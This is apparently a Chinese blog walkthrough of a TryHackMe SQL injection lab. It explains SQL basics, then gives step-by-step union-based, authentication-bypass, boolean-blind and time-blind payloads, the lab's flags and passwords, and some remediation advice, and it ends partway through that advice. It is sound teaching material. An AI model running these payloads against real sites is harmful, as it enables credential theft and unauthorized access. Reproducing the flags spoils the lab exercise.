1. 程式人生 > 其它 >補檔--【THM】SQL Injection(SQL注入漏洞)-學習

補檔--【THM】SQL Injection(SQL注入漏洞)-學習

本文相關的TryHackMe實驗房間連結:https://tryhackme.com/room/sqlinjectionlm

通過學習相關知識點:瞭解如何檢測和利用 SQL 注入漏洞

簡介

SQL(結構化查詢語言)注入,通常稱為 SQLi,是對 Web 應用程式資料庫伺服器的攻擊,會導致執行鍼對資料庫的惡意查詢。 當 Web 應用程式使用未經驗證的使用者輸入與資料庫發生通訊時,攻擊者就有可能竊取、刪除或更改私人和客戶的資料,並攻擊 Web 應用程式的身份驗證方式以訪問一些私有資訊或客戶的私有區域。SQLi 不僅是最古老的 Web 應用程式漏洞之一,而且也是最具破壞性的漏洞之一。

在本文中,你將瞭解什麼是資料庫、什麼是 SQL 以及一些基本的 SQL 命令、如何檢測 SQL 漏洞、如何利用 SQLi 漏洞以及開發人員將如何保護web應用程式免受 SQL 注入攻擊影響。

答題

什麼是資料庫?

如果你之前不曾使用過資料庫或利用過它們,你可能需要先了解一些新術語,所以讓我們從一些關於資料庫的結構和工作方式的基礎知識開始。

什麼是資料庫?

資料庫是以有組織的方法通過電子資訊的形式儲存資料集合的一種方式。

資料庫由 DBMS 控制,DBMS 是資料庫管理系統(Database Management System)的字母縮寫,DBMS 可分為關係型和非關係型。
本文的重點將放在關係型資料庫上,你可能遇到的一些常見資料庫有 MySQL、Microsoft SQL Server、Access、PostgreSQL 和 SQLite等。
我們將在本小節結束時解釋關係型資料庫和非關係型資料庫之間的區別,但首先,我們應該學習一些基礎術語。

在 DBMS 中,你可以有多個數據庫,每個資料庫都包含自己的一組相關資料。 例如,你可能有一個名為“shop”的資料庫,在此資料庫中,你希望儲存有關可供購買的產品的資訊、已註冊到你的線上商店的使用者資訊以及有關你收到的訂單資訊;你將使用稱為表的東西將這些資訊單獨儲存在資料庫中,每個表都用唯一的名稱標識。 你可以在下圖中看到“shop”資料庫結構,但是你還可以從下圖中看到企業如何使用其他單獨的資料庫來儲存員工資訊或銷售團隊(accounts team)資訊。

tips:audit檢查、orders訂單、payroll工資單

什麼是表(table)?

一個表 (table) 由列 (columns) 和行 (rows) 組成,一種有效的理解方式是將表 (table) 想象成一個網格,列從左到右穿過頂部,包含單元格的名稱,行則從上到下,每一行都有實際資料。

Columns (列) :

每個列,或者稱為欄位,在每個表都有一個唯一的對應名稱。 在建立列時,你還可以設定它將允許包含的資料型別,常見的有整數(數字)、字串(標準文字)或日期,有些資料庫將允許包含更復雜的資料型別,例如地理空間資料(這將包含一些位置資訊)。

設定列/欄位允許的資料型別還可以確保對應的資料庫不會儲存一些不正確的資料資訊,例如字串“hello world”不能儲存在 規定為日期資料型別的列/欄位中,如果發生這種情況,資料庫伺服器通常會產生一條報錯訊息以便進行提醒。

包含整數型別的列/欄位還可以啟用自動遞增功能,這能為每一行資料提供一個唯一對應的數字標識,該數字標識會隨後續行號增加而增加(即自動遞增),這樣做會建立所謂的關鍵欄位,關鍵欄位對於每一行資料而言都必須是唯一的,這些關鍵欄位在進行 SQL 查詢時可用於查詢確切的行。

Rows (行) :

行或記錄是包含各個資料行的內容,當你向表中新增資料時,就會建立新的行/記錄,而當你刪除資料時,則會刪除對應的行/記錄。

關係型資料庫與非關係型資料庫:

關係型資料庫會將資料資訊儲存在表中,並且表和表之間通常可以共享資訊,關係型資料庫將在具體的表中使用列來指定和定義要儲存的資料,並使用行來實際儲存資料;這些表通常都會包含具有唯一 ID(主鍵) 的列,在其他表中也可以使用 ID 來引用主鍵所對應的列 從而在表之間建立關係,因此這種資料庫被稱為關係型資料庫。

另一方面,被稱為 NoSQL 的非關係型資料庫是一種不使用表、列和行來儲存資料的資料庫,這種資料庫不需要構建特定的資料庫佈局,因此每一行資料都可以包含不同的資訊,非關係型資料庫可以比關係型資料庫更具靈活性地儲存資料資訊。 一些流行的非關係型資料庫包括 MongoDB、Cassandra 和 ElasticSearch等。

現在你已經瞭解了資料庫是什麼,讓我們繼續瞭解如何使用 SQL 與資料庫進行實際對話。

答題

什麼是SQL?

SQL(結構化查詢語言)是一種用於查詢資料庫的功能豐富的語言,具體的 SQL 查詢通常被稱為 SQL 語句。

我們將在此小節中介紹一些最簡單的SQL命令,主要用於檢索(選擇-select)、更新(update)、插入(insert)和刪除(delete)資料;儘管存在相似之處,但是不同的資料庫伺服器都有屬於自己的SQL語法並且在工作方式上也會有一些細微的變化。

接下來的示例都將基於 MySQL 資料庫,通過線上搜尋你可以很輕鬆地找到不同資料庫伺服器所對應的替代語法,值得注意的是,在SQL 語法中並不會區分大小寫字母。

SELECT

我們將學習的第一種查詢型別是用於從資料庫中檢索資料的 SELECT 查詢。

select * from users;

第一個單詞 SELECT 告訴資料庫我們想要檢索一些資料;* 告訴資料庫我們想要從表中接收所有列資訊,例如,該表可能包含三列(id、username和password);from users告訴資料庫我們要從名為users的表中檢索資料;最後,末尾的分號;告訴資料庫 查詢語句到此結束。

下一條查詢語句與上面的類似,但是我們不再使用 * 返回資料庫表中的所有列資訊,而是隻請求username和password欄位(列)。

select username,password from users;

接下來的查詢語句將使用*選擇器返回所有列資訊,然後再使用LIMIT 1子句強制資料庫僅返回一行資料;將查詢子句更改為LIMIT 1,1會強制查詢語句跳過第一個查詢結果,使用子句LIMIT 2,1會跳過前兩個查詢結果,依此類推,你只需要記住上述查詢子句的第一個數字會告訴資料庫你希望跳過多少個查詢結果,而第二個數字會告訴資料庫需要返回多少行資料。

select * from users LIMIT 1;

接下來,我們將使用 where 子句,我們可以通過返回與我們的特定子句相匹配的資料來挑選出我們所需要的確切目標資料:

select * from users where username='admin';

使用以上查詢語句,將只返回使用者名稱等於 admin 的行。

select * from users where username != 'admin';

使用以上查詢語句,將只返回使用者名稱不等於 admin 的行。

select * from users where username='admin' or username='jon';

使用以上查詢語句,將只返回使用者名稱等於 admin 或 jon 的行。

select * from users where username='admin' and password='p4ssword';

使用以上查詢語句,將只返回使用者名稱等於 admin 且密碼等於 p4ssword 的行。

使用like子句可以對目標資料進行不完全匹配查詢,我們可以通過選擇百分號%所表示的萬用字元的具體放置位置 來指定包含某些字元、以某些字元作為開頭或者以某些字元作為結尾的目標資料。

select * from users where username like 'a%';

這將返回username欄位中以字母 a 開頭的所有行。

select * from users where username like '%n';

這將返回username欄位中以字母 n 結尾的任何行。

select * from users where username like '%mi%';

這將返回使用者名稱中包含字元 mi 的任何行。

UNION

UNION 語句將組合兩個或多個 SELECT 語句的結果以從單個或多個表中檢索資料;在進行多表查詢時,此查詢的規則是 UNION 語句必須在每個 SELECT 語句中檢索相同數量的列,這些列必須具有相似的資料型別並且列順序必須相同。 這聽起來可能不是很清楚,所以讓我們使用以下例子類比:假設一家公司想要為所有客戶和供應商建立一個地址列表以郵寄新商品目錄,我們有一個名為 customers 的表,其中包含以下內容:

還有另一個表為供應商表(suppliers ),內容如下:

使用下面的 SQL 語句,我們可以從上面的兩個表中收集查詢結果並將它們放入一個結果集合中(最終合併的列名,由第一條SELECT語句的查詢結果決定):

SELECT name,address,city,postcode from customers UNION SELECT company,address,city,postcode from suppliers;

INSERT

INSERT 語句將告訴資料庫我們希望向表中插入一行新資料。
into users告訴資料庫我們希望將資料插入哪個表,(username,password)將指明我們需要為其提供新資料的列/欄位屬性,然後是values ('bob','password123');將為先前指定的列提供一行新資料。

insert into users (username,password) values ('bob','password123');

UPDATE

UPDATE 語句將告訴資料庫我們希望更新表中的一行或多行資料。
你可以使用update %tablename% SET來指定要更新的表,然後選擇你想要更新的一個或多個欄位(此處需要指明列/欄位的具體值)並用逗號分隔清單,例如username='root',password='pass123',最後與 SELECT 語句類似,你還可以使用 where 子句來準確指定你要更新的行,例如where username='admin';

update users SET username='root',password='pass123' where username='admin';

更新之前為:2 admin p4ssword

更新之後為:2 root pass123

DELETE

DELETE 語句將告訴資料庫我們希望刪除一行或多行資料。除了缺少你希望返回的列之外,此查詢的格式與 SELECT語句 非常相似,在此處可以使用 where 子句來精確指定你想要刪除的資料,並可使用 LIMIT 子句來指定要刪除的行數。

delete from users where username='martin';

被刪除的資料:3 martin secret123

delete from users;

如果查詢語句中沒有使用 WHERE 子句,那麼表中的所有資料都會被刪除。

答題

什麼是SQL注入漏洞?

什麼是SQL注入?

當用戶提供的資料能夠被包含在 SQL 查詢語句中時,使用 SQL 的 Web 應用程式就會受到 SQL 注入攻擊影響。

SQL注入是什麼樣子的?

假設你訪問一個線上部落格網站,該網站上的每個部落格條目都有一個唯一的 ID 號相對應,部落格條目可以設定為公開或私有,具體取決於它們是否準備好公開發布。

每個部落格條目的 URL 可能如下所示:

https://website.thm/blog?id=1

從上面的 URL 中,你可以看到所選擇的部落格條目ID來自於查詢字串中的 id 引數,當該Web 應用程式需要從資料庫中檢索對應的部落格文章時,則可能會使用如下所示的 SQL 語句:

SELECT * from blog where id=1 and private=0 LIMIT 1;

根據你在上一個小節中學到的知識,你應該能夠得知上面的 SQL 語句的作用是 在 blog 表中查詢 id 號為 1 且private列屬性被設定為 0 (這意味著它能夠供公眾檢視)的部落格文章,最後的查詢結果被限制為只有一個匹配項。

正如本小節開始時所提到的,當用戶的輸入被引入到資料庫查詢語句中時,就會發生 SQL 注入。 在此例項中,你可以發現 URL 查詢字串中的 id 引數被直接用於 SQL 查詢語句中。

假設文章 id 2 被鎖定為私有,因此我們無法在網站上直接檢視該文章,我們現在可以嘗試修改 URL :

https://website.thm/blog?id=2;--

然後對應的 SQL 語句如下:

SELECT * from blog where id=2;-- and private=1 LIMIT 1;

URL https://website.thm/blog?id=2;-- 中的分號表示 SQL 語句的結束,兩個短橫線符號則會導致其後面的所有內容都被視為註釋(這裡的分號和短橫線都為英文字元)。

通過這樣處理,實際上在執行的SQL查詢為:

SELECT * from blog where id=2;--

以上查詢語句將返回 id 為 2 的部落格文章,無論它是否設定為公開許可權。

以上示例是一種被稱為帶內 SQL 注入的 SQL 注入漏洞型別;基礎的SQL注入型別有 In-Band, Blind 和 Out Of Band ,我們將在接下來的知識點小節中進行討論。

tips:

如何判斷是否存在SQL注入:
在URL或者一個提交表單中輸入一個英文單引號或者其他特殊符號,如果頁面出現錯誤說明此頁面存在SQL注入,如果頁面正常顯示說明可能有字元被過濾了或者不存在注入。

SQL注入的具體類別:
事實上SQL注入有很多種,按資料型別可以分為數字型、字元型和搜尋型,按提交方式可分為GET型,POST型,Cookie型和HTTP請求頭注入,按執行效果有可以分為報錯注入、聯合查詢注入、盲注和堆查詢注入,其中盲注又可分為基於bool的盲注和基於時間的盲注。

搜尋型注入查詢語句為:SELECT * FROM user WHERE search like '%1%'
搜尋型注入也可分為POST型和GET型,GET型一般是用於實現網站上的搜尋功能,而POST型則是用在使用者登入處,可以從form表單的method=" "屬性來區分是GET型還是POST型。
搜尋型注入又被稱為文字框注入。

答題

tips:分號(英文符號)表示SQL語句段的結束。

帶內SQLi(SQL injection)

帶內(In-Band) SQL 注入

帶內 SQL 注入是最容易檢測和利用的SQL注入型別;In-Band 是指使用相同的通訊方法來利用漏洞以及接收攻擊結果,例如,在網站某一頁面上發現了 SQL 注入漏洞,然後能夠從資料庫中提取資料到發現注入點的同一頁面。

基於報錯(Error-Based)的 SQL 注入

這種型別的 SQL 注入對於輕鬆獲取有關資料庫結構的資訊最有用,因為來自資料庫的錯誤訊息會直接列印到瀏覽器螢幕,這通常可用於列舉整個資料庫。

基於聯合(Union-Based)的 SQL 注入

這種型別的SQL注入會利用 UNION 運算子和 SELECT 語句將其他結果返回到發現注入點的頁面,此方法是通過 SQL 注入漏洞獲取大量資料的最常用方法。聯合查詢相當於把別的表的資料查詢結果顯示到當前表,使用聯合查詢時,必須使得兩張表的表結構一致,因此我們需要判斷當前表的列數有多少列。

聯合型注入發生的前提條件:要有顯示位,在一個網站的正常頁面,服務端執行SQL語句查詢資料庫中的資料,客戶端則會將資料展示在某個頁面中,這個展示資料的位置就叫顯示位。

注:加號+在URL中有特殊含義,所以當我們在URL中使用的SQL注入payload包含了加號,那麼就需要對其進行URL編碼,經過URL編碼的加號為%2b

Practical:

在TryHackMe相關實驗房間中,單擊綠色的“啟動機器”按鈕以使用 SQL 注入示例練習實驗室(這個SQL注入實驗室在接下來的幾個知識點小節中也會用到);每個實驗級別都包含一個模擬瀏覽器以及 SQL 查詢框和報錯框,以幫助你獲得 查詢/有效載荷 的最終結果。

注:在進行SQL注入時,可以直接在URL中提交注入語句,此時需要將SQL語句中的註釋符#進行URL編碼(或者使用--進行註釋),有時候整個SQL注入語句都需要經過URL編碼處理。

SQL注入實驗的第一關包含一個模擬瀏覽器和一個網站,該網站是一個線上部落格網站,你可以通過更改 URL 查詢字串中的 ID 號來訪問不同的部落格文章網頁。

發現基於報錯的 SQL 注入的關鍵是通過嘗試某些字元來破壞程式碼的 SQL 查詢,直到產生錯誤訊息; 最常見的是使用英文單引號 (') 或英文雙引號 (")。

我們可以嘗試在URL中的 id=1 後鍵入英文單引號 ('),然後按下 Enter 鍵,如果你看到當前頁面返回一個 SQL查詢 報錯,以通知你所使用的SQL語法中存在錯誤,那麼基於收到報錯訊息這一事實,你已經成功驗證了當前網站頁面存在SQL 注入漏洞;我們可以進一步利用此注入漏洞並通過報錯訊息來了解有關資料庫結構的更多資訊。

我們接下來需要嘗試將資料庫中的資料返回給瀏覽器頁面而不是簡單地顯示一些錯誤訊息。 首先,我們將使用 UNION 運算子,以便我們可以接收到我們所查詢到的一些額外結果,嘗試將模擬瀏覽器URL中的 id 引數設定為:

1 UNION SELECT 1

以上語句會產生一條錯誤訊息,通知我們 UNION SELECT 語句的列數與原始 SELECT 查詢的列數不同;因此,我們可以新增列數並再試一次:

1 UNION SELECT 1,2

以上語句又產生了和之前同樣的錯誤,所以我們再新增一列進行嘗試:

1 UNION SELECT 1,2,3

以上語句執行成功,我們可以發現報錯訊息消失了,當前頁面將顯示id為 1 的文章,但是我們想顯示資料庫中的資料而不是顯示文章內容。此處會顯示文章內容是因為查詢語句在網站程式碼的某處獲取到了第一個返回結果並將該結果顯示在當前網頁頁面;為了解決這個問題,我們需要讓第一條查詢語句不產生任何結果,這可以簡單地通過將文章 ID 從 1 更改為 0 來完成。

0 UNION SELECT 1,2,3

你現在將看到瀏覽器當前頁面內容僅由UNION select的結果組成即只返回列值(value) 1、2 和 3 ;我們可以使用這些返回值來檢索更有用的資訊,首先,我們將獲取我們有權訪問的資料庫名稱:

0 UNION SELECT 1,2,database()

使用以上語句,你將看到之前顯示數字 3 的位置 現在將顯示目標資料庫的名稱,即 sqli_one

我們的下一個查詢將收集該資料庫中的所有表(table)資訊。

0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'

在此查詢中有一些新東西需要學習:首先,group_concat() 方法能夠從多個返回的行中獲取指定的列(在我們的例子中為 table_name 列/欄位),並將其放入一個以逗號分隔的字串中;接下來是 information_schema 資訊資料庫,目標資料庫的每個使用者都可以訪問這個資訊資料庫,該資訊資料庫將包含有關使用者有權訪問的所有資料庫和表的資訊。 在這個特定的查詢中,我們可以列出 sqli_one 資料庫中的所有表,即 article 表和 staff_users 表 。

由於此SQL注入實驗第一關旨在發現 Martin 的密碼,因此我們對 staff_users 表感興趣,我們可以再次利用information_schema資訊資料庫,使用以下查詢找到該表的結構:

0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'

上面這條查詢類似於前面用於查詢表名的 SQL 查詢,但是,在此處我們要檢索的資訊已從之前的 table_name欄位 更改為 column_name欄位,並且我們在資訊資料庫information_schema中要查詢的資訊表從tables (表) 更改為columns (列) 。最後我們接著搜尋 table_name 列的值為staff_users的所有行。(結合group_concat之後,此處從資訊資料庫中查詢到的是關於資料庫所有列名的資訊,最後再結合where子句篩選出staff_users表中的所有列名)

由查詢結果可知 staff_users 表有三列:id、password 和 username。 我們可以使用包含username和password 列(欄位)的查詢語句來檢索使用者資訊。

0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users

我們再次使用 group_concat 方法將所有行資訊都返回到一個字串中,我們添加了 ,':',來將使用者名稱資訊和密碼資訊彼此分開,我們在此處沒有用逗號分隔,而是選擇了 HTML中的 <br> 標記來作為分隔符號,它將強制每個查詢結果都位於單獨的一行上,以便於我們檢視最終的SQL注入查詢結果。

我們現在可以訪問到 Martin 的密碼資訊並能進入下一級別的SQL注入關卡(這將在下一小節中進行操作介紹)。

答題

啟動實驗環境:

加英文單引號:

上圖報錯資訊所對應的中文翻譯:

猜解原始 SELECT 查詢的列數:

1 UNION SELECT 1

1 UNION SELECT 1,2

1 UNION SELECT 1,2,3

讓原始select查詢不產生任何結果,將id = 1 改為id = 0 即可:

0 UNION SELECT 1,2,3

查詢目標資料庫的名稱:

0 UNION SELECT 1,2,database()

查詢目標資料庫包含的表名:

0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'

查詢staff_users 表中的列名:

0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'

檢索 staff_users 表中的使用者資訊:

0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users

獲取實驗關卡一的flag:

THM{SQL_INJECTION_3840}

SQL盲注—身份認證繞過

Blind SQLi (盲注型別的SQL注入)

與我們可以直接在螢幕上看到攻擊結果的帶內 SQL 注入不同,盲注型別的 SQLi 是指我們幾乎沒有或根本沒有反饋資訊來確認我們所注入的SQL查詢是否成功,這是因為錯誤訊息已被禁用,但實際上注入攻擊可能仍然有效,只是無法直接在頁面上看到SQL注入結果。在盲注型別的SQL注入攻擊中,我們所需要的只是成功列舉整個資料庫之後的一點點反饋資訊。

Authentication Bypass (身份認證繞過)

最直接的 SQL 盲注技巧是繞過登入表單等身份驗證方法進行SQL注入,在這種情況下,我們對從資料庫中檢索資料並不感興趣,我們只是想通過SQL注入來實現登入成功的操作。

連線到使用者資料庫的登入表單通常以這樣一種方式開發,即 Web 應用程式對使用者名稱和密碼的內容其實並不感興趣,更多的是關注這兩者所對應的資料是否 在資料庫的使用者表中能夠得到匹配;簡而言之,Web 應用程式將詢問其對應的資料庫“你是否有使用者名稱為 bob 且密碼為 bob123 的使用者?”等類似問題,而資料庫則負責回答yes或no(真true/假false),該答案將決定 Web 應用程式是否允許你通過登入驗證並實現登入成功操作。

考慮到上述資訊,我們在此處沒有必要列舉有效的使用者名稱以及密碼值,我們只需要構建一個以 yes/true 作為回覆的資料庫查詢語句即可。

練習

進入SQL 注入實驗的關卡二,我們可以在標有“SQL查詢”的框中看到對資料庫的原始查詢如下:

select * from users where username='%username%' and password='%password%' LIMIT 1;

注意:%username% 和 %password% 值都將取自登入表單中的輸入欄位,在此處SQL 查詢框中的初始值將為空,因為這些欄位當前在登入表單中輸入為空。

為了使上述查詢成為一個始終返回 true 的查詢,我們可以在登入表單的密碼欄位中輸入以下內容:

' OR 1=1;--

然後在登入表單的使用者名稱欄位輸入隨機內容,以輸入 1 為例。

通過完成以上操作將使之前的 SQL 查詢變成以下內容:

select * from users where username='1' and password='' OR 1=1;

因為 1=1 是一個 true 語句並且我們還使用了 OR 運算子,所以這條查詢語句將始終導致SQL查詢的返回結果始終為 true,這就滿足 web 應用程式邏輯,即web應用程式會認為資料庫已經找到了有效的使用者名稱/密碼組合 然後將允許我們成功通過登入驗證機制 。

答題

檢視關卡二的原始查詢介面:

在使用者名稱框輸入1或者其他字元,在密碼框中輸入payload ' OR 1=1;--

點選登入,出現以下介面:

獲取SQL實驗關卡二的flag(轉到第三關即可檢視關卡二的flag):

THM{SQL_INJECTION_9581}

SQL盲注—基於布林

基於布林的SQL盲注

基於布林的 SQL 注入是指:當我們經過注入嘗試之後,所收到的響應可能為 true/false、yes/no、on/off、1/0 或其他任何只會有兩個結果的響應訊息。布林值所對應的結果將向我們確認 SQL 注入payload是否執行成功,你可能會覺得這種有限的回答無法提供太多資訊,但實際上,僅通過兩種響應結果,我們就可以列舉整個資料庫結構和內容。

練習

在 SQL 注入實驗的第三關,你將看到一個具有以下 URL 的模擬瀏覽器:

https://website.thm/checkuser?username=admin

瀏覽器主體還包含其他內容: {"taken":true} 。 這個 API 端點對應的是許多登錄檔單上的一個常見功能,即檢查使用者名稱是否已註冊 以提示使用者是否應該重新選擇不同的使用者名稱;因為此處的取值為 true,所以我們可以假設使用者名稱 admin 已經被註冊。 事實上,我們也可以通過將模擬瀏覽器位址列中的使用者名稱從 admin 更改為 admin123 來確認這一點,修改使用者名稱之後按下回車鍵,如果你看到taken值更改為 false,則代表使用者名稱admin123未註冊,相對應地我們就能知道之前顯示的使用者名稱admin已經被註冊了。

該關卡提供的原始 SQL 查詢語句如下所示:

select * from users where username = '%username%' LIMIT 1;

我們可以控制查詢字串中的使用者名稱,因為它是唯一的使用者輸入點,所以我們將不得不使用它來執行我們的 SQL 注入攻擊。 將使用者名稱設定為 admin123,此時所對應的taken值為false,我們可以嘗試在admin123後面附加SQL注入payload,直到將 taken 欄位的狀態從 false 更改為 true。

與之前的關卡一樣,我們的首要任務是先確定使用者表的列數,我們可以使用 UNION 語句來實現,嘗試將使用者名稱對應的值更改為以下內容:

admin123' UNION SELECT 1;--

由於 Web 應用程式響應的taken值為 false,因此我們可以確認列數 1 不是正確的列值,我們可以繼續新增更多列,直到我們得到的taken值為 true 。你可以通過將使用者名稱設定為以下值來確認使用者表實際的列數為 3 :

admin123' UNION SELECT 1,2,3;--

現在我們已經確定使用者表的列數,我們可以進行關於目標資料庫的列舉操作。我們的首要任務是發現數據庫名稱,為此,我們可以使用database()方法,然後使用 like運算子嘗試查詢將返回taken值為true狀態的結果。

嘗試使用下面的使用者名稱值,看看會發生什麼:

admin123' UNION SELECT 1,2,3 where database() like '%';--

我們得到一個true的響應,因為在like運算子中,我們只提供了%的值,%是萬用字元值,它將匹配任何東西。 如果我們將萬用字元更改為a%,你將看到響應的返回值為false,這說明目標資料庫名稱不是以字母 a 開頭;我們可以迴圈遍歷所有字母、數字和字元,例如字元-_,直到找到匹配項為止。

如果你將以下payload內容作為使用者名稱值傳送,你將收到一個返回值為true的響應,這說明資料庫名稱是以字母s開頭的。

admin123' UNION SELECT 1,2,3 where database() like 's%';--

現在你需要移動到資料庫名稱的下一個字元繼續使用萬用字元,直到找到另一個返回值為true的響應,例如“sa%”、“sb%”、“sc%”等;重複以上過程,直到你發現數據庫名稱的所有字元為止,最終我們成功得到了目標資料庫的名稱,即 sqli_three

我們已經知道了資料庫名稱,我們可以繼續使用information_schema資訊資料庫通過類似的方法來列舉表的名稱,嘗試將使用者名稱設定為以下值:

admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';--

以上查詢語句將在 information_schema 資訊資料庫中查詢 資料庫名稱為 sqli_three 且表名稱以字母a開頭的tables表的結果。由於上述查詢結果為false響應,我們可以確認 sqli_three 資料庫中沒有以字母a開頭的表;像之前一樣,你需要迴圈遍歷字母、數字和字元,直到找到完整的匹配項。

最終我們在 sqli_three 資料庫中發現一個名為 users 的表,你可以通過執行以下payload來確認:

admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name='users';--

最後,我們需要列舉 users 表中的 列(欄位) 名,以便我們可以正確地在其中搜索使用者的登入憑據。我們再次使用 information_schema 資訊資料庫並結合我們已經獲得的資訊,開始查詢 users 表的列名。 使用下面的payload,我們可以搜尋資料庫名稱為sqli_three,表名為users,並且列名以字母a開頭的列資訊表。

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';--

同樣,你需要迴圈遍歷字母、數字和字元,直到找到匹配項。 當你正在匹配多個查詢結果時,你必須在每次找到新的列名時將其新增到你的payload中,這樣你就不會一直髮現相同的結果;例如,當你找到名為 id 的列後,你需要將其附加到原始的payload中(如下所示),以便繼續查詢下一個列名。

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';--

重複上述過程,你最終能夠發現 users 表中的所有列名為 idusernamepassword。 現在我們可以使用列名來查詢 users 表的內容以獲取有效登入憑據;首先,你需要發現一個有效的使用者名稱,你可以嘗試使用下面的payload:

admin123' UNION SELECT 1,2,3 from users where username like 'a%';--

繼續迴圈遍歷所有字元,你將確認使用者名稱 admin 的存在。知道了有效的使用者名稱之後,我們需要繼續發現該使用者名稱所對應的密碼值,下面的payload向你展示瞭如何找到使用者名稱 admin 所對應的密碼值:

admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%';--

使用上面的payload,迴圈遍歷所有字元,你會發現該密碼值為3845

答題

檢視關卡三的原始查詢介面:

確認原始查詢所用的表中的列數:

admin123' UNION SELECT 1,2,3;--

查詢資料庫的名稱(通過使用'%'萬用字元進行猜解):

admin123' UNION SELECT 1,2,3 where database() like 'sqli_three';--

查詢表名(通過使用'%'萬用字元進行猜解):

admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name='users';--

查詢表中的列名(通過使用'%'萬用字元進行猜解):

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'id';--

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'username' and COLUMN_NAME !='id';--

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'password' and COLUMN_NAME !='id' and COLUMN_NAME !='username';--

查詢表中的一個有效使用者名稱(通過使用'%'萬用字元進行猜解):

admin123' UNION SELECT 1,2,3 from users where username like 'admin';--

查詢表中的有效使用者名稱所對應的密碼(通過使用'%'萬用字元進行猜解):

admin123' UNION SELECT 1,2,3 from users where username='admin' and password like '3845';--

在登入表單中輸入獲取的使用者名稱和密碼值,進行登入操作:

進入關卡四,獲取關卡三的flag:

THM{SQL_INJECTION_1093}

SQL盲注—基於時間

基於時間的SQL盲注

基於時間的 SQL 注入與上述基於布林值的SQL注入非常相似,也會發送相同的請求,但是在此處並沒有視覺指示器來表明你的查詢是對還是錯,在時間盲注中,一個正確的SQL查詢的指標完全基於該查詢完成所需要的時間長短。

時間延遲的查詢效果是通過使用內建方法(例如 SLEEP(x))以及 UNION 語句來實現的,SLEEP()方法只會在 UNION SELECT 語句查詢成功時執行。

因此,當我們想確定原始查詢所用表的具體列數時,可以使用以下查詢:

admin123' UNION SELECT SLEEP(5);--

如果以上查詢的響應時間很短,我們就能知道查詢是不成功的,所以我們需要新增列數並繼續嘗試:

admin123' UNION SELECT SLEEP(5),2;--

以上payload在得到響應時,產生了 5 秒左右的時間延遲,這就說明了UNION SELECT 語句已經成功執行並且 我們可以得知原始查詢所用的表一共有兩列。

你現在可以參考之前在布林盲注中所使用的payload 來完成重複列舉過程,將 SLEEP() 方法新增到 UNION SELECT 語句中即可。

如果你想查詢資料庫名稱,請參考下面的查詢以提供你一些幫助:

referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'u%';--

答題

檢視關卡四的原始查詢語句,選擇url一欄按下回車鍵即可:

在url中使用以下payload來猜解表的列數:

admin123' UNION SELECT SLEEP(5);--

admin123' UNION SELECT SLEEP(5),2;--

參考之前在布林盲注中所使用的payload來完成對目標資料庫的重複列舉過程(通過使用'%'萬用字元進行猜解),以下只給出查詢資料庫名稱時所用的payload以及最終查詢時所用的payload:

admin123' UNION SELECT SLEEP(5),2 where database() like 'sqli_four';--

admin123' UNION SELECT SLEEP(5),2 from users where username like 'admin' and password like '4961';--

輸入剛才查詢得到的正確使用者名稱和密碼,獲取關卡四的flag:

THM{SQL_INJECTION_MASTER}

帶外SQLi(SQL injection)

帶外(Out-of-Band) SQL 注入並不常見,因為它取決於資料庫伺服器上啟用的特定功能或 Web 應用程式的業務邏輯,帶外SQL注入攻擊能根據 SQL 查詢的結果進行某種外部網路呼叫。

帶外SQL注入攻擊可分為兩種不同的通訊渠道,其中一種將用於發起注入攻擊,另一種則用於收集攻擊結果。 例如,攻擊渠道可能是通過 Web 請求,而資料收集渠道可能是通過監控 針對你所控制的伺服器而發出的 HTTP/DNS 請求。

  1. 攻擊者使用SQL注入payload向存在SQLi漏洞的目標網站發出 Web 請求。
  2. 目標網站對資料庫進行 SQL 查詢操作,相關的查詢語句會載入攻擊者所使用的payload。
  3. 攻擊者所使用的payload中另外還包含了一個請求,該請求會強制將 包含來自目標伺服器資料庫的資料的HTTP請求 返回到攻擊機上。

答題

SQL注入漏洞修復

漏洞修復

由於SQL 注入漏洞的影響力,開發人員可以通過遵循下面的一些建議來保護他們的 Web 應用程式免受侵害。

預編譯語句(使用引數化查詢):

在預編譯查詢中,開發人員首先編寫的是 SQL 查詢語句,然後再將任何使用者輸入都新增為查詢語句中的引數。 編寫預編譯語句可以確保 SQL 程式碼結構不發生變化,並且資料庫也可以更好地區分查詢和資料,使用預編譯語句還將讓你的程式碼看起來更簡潔且更易於閱讀。

對外部輸入進行驗證:

輸入驗證處理可以大大保護輸入到 SQL 查詢語句中的內容。 通過建立允許列表(白名單)可以將輸入限制為僅允許某些字串,或者通過使用程式語言中的字串替換方法來過濾一些你允許的字元或不允許的字元。

轉義使用者輸入:

